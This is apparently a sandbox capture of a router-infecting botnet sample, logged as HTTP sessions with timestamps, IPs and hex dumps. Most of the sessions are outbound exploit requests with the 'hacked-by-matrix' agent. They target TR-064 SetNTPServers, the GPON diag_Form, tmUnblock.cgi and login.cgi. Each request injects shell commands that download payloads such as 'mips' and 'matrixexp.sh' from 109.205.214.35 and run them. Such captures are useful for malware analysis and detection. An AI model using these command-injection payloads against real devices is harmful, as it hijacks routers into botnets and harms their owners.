Mar 21, 2024 05:26:16.765153885 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Thu, 21 Mar 2024 04:26:16 GMT Date: Thu, 21 Mar 2024 04:26:16 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 35 63 66 33 36 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 31 37 36 26 23 34 36 3b 33 37 38 62 36 34 63 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.a5cf3617.1710995176.378b64c2</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
912	192.168.2.23	51706	78.185.217.124	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.673438072 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:16.910434008 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 07:26:17 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
913	192.168.2.23	46746	179.153.183.144	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.673641920 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
914	192.168.2.23	54392	144.86.5.175	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.673652887 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:17.935503006 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:19.405632019 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:22.380922079 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:28.268105984 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:40.047518969 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:27:04.359071016 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
915	192.168.2.23	59772	3.160.76.43	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.705638885 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:16.979629993 CET	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Thu, 21 Mar 2024 04:26:16 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 1809a742a8823e37d453e075d9dd3242.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DXB53-P2 X-Amz-Cf-Id: 3yWmRe5tRNv-qd9HeTjF7SqfS5Ua1eccg89naUEX9wmuaVg2c0kTfw== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 33 79 57 6d 52 65 35 74 52 4e 76 2d 71 64 39 48 65 54 6a 46 37 53 71 66 53 35 55 61 31 65 63 63 67 38 39 6e 61 55 45 58 39 77 6d 75 61 56 67 32 63 30 6b 54 66 77 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: 3yWmRe5tRNv-qd9HeTjF7SqfS5Ua1eccg89naUEX9wmuaVg2c0kTfw==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
916	192.168.2.23	55638	23.38.95.221	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.831619024 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:16.956866026 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Thu, 21 Mar 2024 04:26:16 GMT Date: Thu, 21 Mar 2024 04:26:16 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 31 37 36 34 30 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 31 37 36 26 23 34 36 3b 34 37 31 65 31 32 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.a1764017.1710995176.471e12c</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
917	192.168.2.23	38410	172.83.72.16	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:17.127537012 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:26:17.402458906 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
918	192.168.2.23	48540	172.65.156.135	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:17.127579927 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:26:17.402436018 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
919	192.168.2.23	47346	52.92.232.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:17.728163958 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:21.872991085 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:22.062325954 CET	256	IN	HTTP/1.1 400 Bad Request Transfer-Encoding: chunked Date: Thu, 21 Mar 2024 04:26:21 GMT Server: AmazonS3 x-amz-request-id: XJNBDN8MJCBPTTFT x-amz-id-2: IPeo/W1c4diZUJYRiSzW186iwfhP4qbYNQ6IeTYCba9d/RbBOXT27lNTVqZUPGPmMbiDNZFzf3Q= Connection: close
Mar 21, 2024 05:26:22.062359095 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
920	192.168.2.23	54302	94.74.229.44	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:17.739545107 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:18.737426043 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:18.921339035 CET	503	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:18 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 309 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 69 73 70 63 6f 6e 66 69 67 2e 73 69 74 64 2e 63 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.29 (Ubuntu) Server at ispconfig.sitd.cz Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
921	192.168.2.23	50030	212.175.172.138	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:17.833349943 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
922	192.168.2.23	53150	31.136.58.89	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:18.025455952 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:26:18.605422974 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
